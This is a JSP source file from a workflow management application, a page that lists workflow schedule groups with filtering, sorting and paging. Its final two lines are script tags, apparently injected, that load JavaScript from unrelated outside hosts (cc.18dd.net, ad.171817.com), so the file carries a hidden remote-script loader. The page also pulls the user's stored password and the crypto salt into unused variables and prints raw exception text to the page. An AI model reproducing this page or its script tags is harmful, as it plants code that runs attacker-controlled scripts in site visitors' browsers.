<%
/*
 * @(#)ListWorkflowRecordGroup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowScheduleGroup.jsp

  This is a ListWorkflowScheduleGroup page.

    @author             Tony
    @company            DCIVision Ltd
    @creation date      22/12/2004
    @version            $Revision: 1.6.26.15 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>

<%@page import="javax.sql.*" %>
<%@page import="java.sql.*" %>

<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>

<%@page import="com.dcivision.user.bean.*" %>
<%@page import="com.dcivision.user.dao.*" %>
<%@page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowScheduleGroupForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowScheduleGroupForm"/>
<%

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowRecordGroupList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.group_name", "GROUP_NAME"},
                            {"workflow.columnheader.description", "DESCRIPTION"},
                            {"workflow.columnheader.last_record_update_date", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.last_record_updater", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"workflow.columnheader.group_name", "GROUP_NAME"},
                            {"workflow.columnheader.description", "DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   List listWorkflowRecord = (List) request.getAttribute(ListWorkflowRecordGroupAction.VAR_WORKFLOW_RECORD_LIST);
   List listActiveRecord = (List) request.getAttribute(ListWorkflowRecordGroupAction.VAR_ACTIVE_RECORD_LIST);
   //added by nancy
   List listCurrentGroupScheduleCount=(List)request.getAttribute(ListWorkflowScheduleGroupAction.VAR_ACTIVE_SCHEDULE_LIST);
   //end
%>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowScheduleGroup" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<layout:listBar>
 <div class="button">
   <layout:returnButton className="but-standard"/>
 </div>
 <layout:filterControl/>
 </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listWorkflowScheduleGroupForm, '${listWorkflowForm.sortAttribute}', '${listWorkflowScheduleGroupForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listWorkflowScheduleGroupForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->
<%
  Connection conn = null;
  try {
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer, conn);
    UserRecord userRecord = (UserRecord)userRecordDAO.getObjectByID(sessionContainer.getUserRecordID());

    String url = SystemParameterFactory.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL) ;
    String loginName = userRecord.getLoginName();
    //String loginPsw = Crypt.decrypt(userRecord.getLoginPwd(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.CRYPTO_SALT));
    String loginPsw = userRecord.getLoginPwd();
    String cryptoSalt = SystemParameterFactory.getSystemParameter(SystemParameterConstant.CRYPTO_SALT);
%>



<%
  } catch (Exception e) {
    out.println("Error="+e);
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table >
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowScheduleGroupForm" checkColumn='false' editLabel='' copyColumn='false' labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowScheduleGroupForm.getSortAttribute()%>" sortOrder="<%=listWorkflowScheduleGroupForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowGroup" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowGroup).getID()%>);">
    <%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      pageContext.setAttribute("lastUpdateWorkflowRecord", (WorkflowRecord)listWorkflowRecord.get(rowCount));
      pageContext.setAttribute("activeRecordCount", (Integer)listActiveRecord.get(rowCount));
      //added by nancy
      pageContext.setAttribute("currentGroupScheduleCount", (Integer)listCurrentGroupScheduleCount.get(rowCount));
      //end
    %>
    <td align="center">
      <a href="ListWorkflowScheduleTrigger.do?workflowGroupID=<bean:write name='workflowGroup' property='ID'/>&workflowCount=<bean:write name='activeRecordCount'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
    </td>
    <td width="200"><a href="ListWorkflowScheduleTrigger.do?workflowGroupID=<bean:write name='workflowGroup' property='ID'/>&workflowCount=<bean:write name='activeRecordCount'/>"><bean:write name='workflowGroup' property='groupName'/></a> (<bean:write name='currentGroupScheduleCount'/>)</td>
    <td width="250"><bean:write name='workflowGroup' property='description'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='lastUpdateWorkflowRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='lastUpdateWorkflowRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
   <layout:pager form="listWorkflowScheduleGroupForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
   </layout:pager>
  <!-- Pager Information End -->
  </div>
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>